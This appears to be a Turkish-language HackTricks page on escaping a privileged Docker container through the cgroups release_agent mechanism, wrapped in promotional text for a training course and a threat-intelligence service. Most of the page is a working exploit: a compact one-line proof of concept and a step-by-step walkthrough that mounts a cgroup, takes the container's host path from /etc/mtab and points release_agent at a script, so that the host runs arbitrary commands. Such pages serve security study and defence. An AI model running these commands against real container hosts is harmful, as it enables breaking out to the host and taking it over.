Docker release_agent cgroups escape

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:


Daha fazla ayrıntı için orijinal blog gönderisine** başvurun.** Bu sadece bir özet:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Kavramın Kanıtı (PoC), cgroups'ı sömürmek için bir yöntemi gösterir. Bu yöntem, bir release_agent dosyası oluşturarak ve onun çağrılmasını tetikleyerek konteyner ana bilgisayarında keyfi komutları yürütmeyi amaçlar. İşte dahil olan adımların ayrıntılı açıklaması:

  1. Ortamı Hazırlama:

  • cgroup için bir bağlama noktası olarak hizmet verecek /tmp/cgrp adlı bir dizin oluşturulur.

  • RDMA cgroup denetleyicisi bu dizine bağlanır. RDMA denetleyicisinin bulunmaması durumunda, alternatif olarak memory cgroup denetleyicisinin kullanılması önerilir.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Çocuk Cgroup'u Kurulumu:

  • Bağlanmış cgroup dizini içinde "x" adında bir çocuk cgroup oluşturulur.

  • "x" cgroup için bildirimler, notify_on_release dosyasına 1 yazılarak etkinleştirilir.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Yayımlama Ajanını Yapılandır:

  • Konteynerin ana bilgisayardaki yolu /etc/mtab dosyasından elde edilir.

  • Ardından cgroup'ın release_agent dosyası, elde edilen ana bilgisayar yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. /cmd Betiği Oluşturun ve Yapılandırın:

  • /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya yönlendirilir. Ana bilgisayar üzerindeki /output dosyasının tam yolu belirtilir.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Saldırıyı Tetikle:

  • Bir işlem "x" çocuk cgroups içinde başlatılır ve hemen sonlandırılır.

  • Bu, release_agent'ı (the /cmd script) tetikler, bu da ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel, şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan dark-web destekli bir arama motorudur.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated